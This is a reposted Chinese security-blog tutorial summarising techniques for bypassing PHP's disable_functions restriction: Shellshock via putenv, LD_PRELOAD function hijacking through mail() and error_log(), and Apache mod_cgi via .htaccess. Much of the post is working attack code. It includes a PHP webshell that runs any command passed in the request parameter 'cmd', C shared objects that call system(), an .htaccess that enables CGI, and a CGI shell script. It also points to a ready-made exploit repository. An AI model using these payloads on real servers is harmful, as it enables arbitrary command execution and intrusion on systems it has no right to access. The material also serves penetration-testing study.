Bypass_disable_function总结

admin 2022年4月22日22:55:19评论40 views字数 4323阅读14分24秒阅读模式
前言

disable_functions这个选项在PHP中常用来禁止某些危险函数的执行,本篇将介绍几种常见的绕过方法。

ShellShock

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行,也就是说此漏洞会错误的将{}花括号外的命令进行执行。
shell中执行下面命令可以进行本地的验证。
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

Bypass_disable_function总结

        执行命令后,如果显示Vulnerable CVE-2014-6271,证系统存在漏洞,在php中存在着putenv可以设置环境变量,配合开启子进程来让其执行命令,使用条件如下:

1. Linux 操作系统
2.  Putenv
3. mail or error_log
4. /bin/bash 存在 CVE-2014-6271 漏洞
5. /bin/sh -> /bin/bash sh 默认的 shell  bash

<?php
function runcmd($c){
  $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
    if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
      $tmp=tempnam(sys_get_temp_dir(), 'as');
      putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
      if (function_exists('error_log')) {
        error_log("a", 1);
      }else{
        mail("[email protected]", "", "", "-bv");
      }
    }else{
      print("Not vuln (not bash)n");
    }
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output!=""){
      print($output);
    }else{
      print("No output, or not vuln.");
    }
  }else{
    print("不满足使用条件");
  }
}
 
// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>
exp上传后执行系统命令来进行bypass disable

LD_PRDLOAD

LD_PRELOADLinux系统的一个境变量:它允许你定义在程序运行前优先加载的动态链接库,这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数,通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库,一方面,我们可以以此功能来使用自己的或是更好的函数,而另一方面,可以通过这种方法去注入程序,从而达到特定的目的。
可以使用strace命令进行监控用户空间进程和内核的交互的功能,这里执行命令strace -f /usr/bin/id 2>&1

Bypass_disable_function总结

我们可以观察到函数和他的返回值,可以选择劫持那些无参数且常用的系统函数,比如getuid(),然后可以使用 man getuid 查看函数原型,ubuntu是默认是没有完全安装man手册的,可以通过如下命令安装。
apt-get install manpages-de  manpages-de-dev  manpages-dev glibc-doc manpages-posix-dev manpages-posix

Bypass_disable_function总结

然后可以编写同原型的getuid()函数,保存为a.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
uid_t getuid(void)
{
system("echo 'hello , here is evil command !'");
return 0;
}
然后执行gcc -shared -fPIC a.c -o a.so将其编译为共享对象,最后借助环境变量 LD_PRELOAD 劫持系统函数 getuid(),我们执行LD_PRELOAD=/var/www/html/a.so /usr/bin/id,获取控制权,可以看到成功输出了system函数里面的字符串。

Bypass_disable_function总结
       
        这里要注意的是LD_PRELOAD与待执行命令间必须为空白字符。
PHP中的利用主要是找到内部可以启动新进程的 php 函数,因为虽然 LD_PRELOAD 可以提供劫持系统函数的能力,但前提是可以控制 php 启动外部程序才行,这里需要利用到 php 函数 putenv(),可以用来设定环境变量 LD_PRELOAD,如果这个函数被ban的话,这种方法也就用不了。

1. Mail函数

        先写一个mail.php
        运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 mail() 是否启动新进程。

Bypass_disable_function总结

第一个 execve 是启动 PHP 解释器,这里出现第二个 execve 说明启动了新进程
也就是说mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 a.so 中的同名 getuid() 所劫持。

然后就可以往 mail.php 内增加设置 LD_PRELOAD 的代码:
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a","b","c","d");?>
和上面一样,写一个a.c再将其编译:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
uid_t getuid(void)
{
       system("echo 'hello , here is evil command !'>evil");
       return 0;
}
        我们访问mail.php之后就成功生成了evil文件。
Bypass_disable_function总结

2. error_log函数
      
        除了上面的mail函数之外,还有error_log也会调用sendmail
        mail.php
<?php
error_log("a",1);?>
        同样运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 error_log() 是否启动新进程,可以看到启动了新的进程的同时调用了sendmail。

Bypass_disable_function总结
       
         但是呢上面的方法局限在sendmail了,如果系统上根本没安装 sendmail,也就谈不上劫持,所以不要局限于仅劫持某一函数,而应考虑劫持共享对象,GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

        我们把a.c换成如下,再访问mail.php发现system同样是可以执行的。
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
__attribute__ ((__constructor__)) void anything (void){
    unsetenv("LD_PRELOAD");
    system("echo 'hello , here is evil command !'>evil");
}

这里网上有现成的exphttps://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD。先把bypass_disablefunc.phpbypass_disablefunc_x64.so上传,这里它把mail()ban了,所以我们需要在bypass_disablefunc.php手动加上error_log("a",1);然后访问如下

Bypass_disable_function总结

        可以看到已经成功输出pwd,也就是说明无论 php 是否安装 sendmail,只要他支持putenv()mail()或者error_log 函数,我们就可以利用LD_PRELOAD 突破 disable_functions

Apache mod_CGI


前提条件需要apache环境和mod_cgi已经启用,AllowOverride开启,也就是说要开启.htaccess文件。


Apache模块mod_cgi:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。

Options +ExecCGI
AddHandler cgi-script .sh

这里的Options指令是Apache配置文件中的一个指令,可以在Apache服务器核心配置(server config),虚拟主机配置(virtual host),特定目录配置(directory)以及.htaccess文件中使用,Options指令的主要作用是控制特定目录将启用哪些服务器特性,这里用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本,后面就是以.sh为后缀的文件都会CGI脚本进行处理。

然后再写一个shell.sh

#!/bin/bash
echo -ne "Content-Type: text/htmlnn"
echo&ls
        上传访问即可。

参考链接
https://xz.aliyun.com/t/10057


Bypass_disable_function总结

原文始发于微信公众号(山石网科安全技术研究院):Bypass_disable_function总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日22:55:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bypass_disable_function总结https://cn-sec.com/archives/934338.html

发表评论

匿名网友 填写信息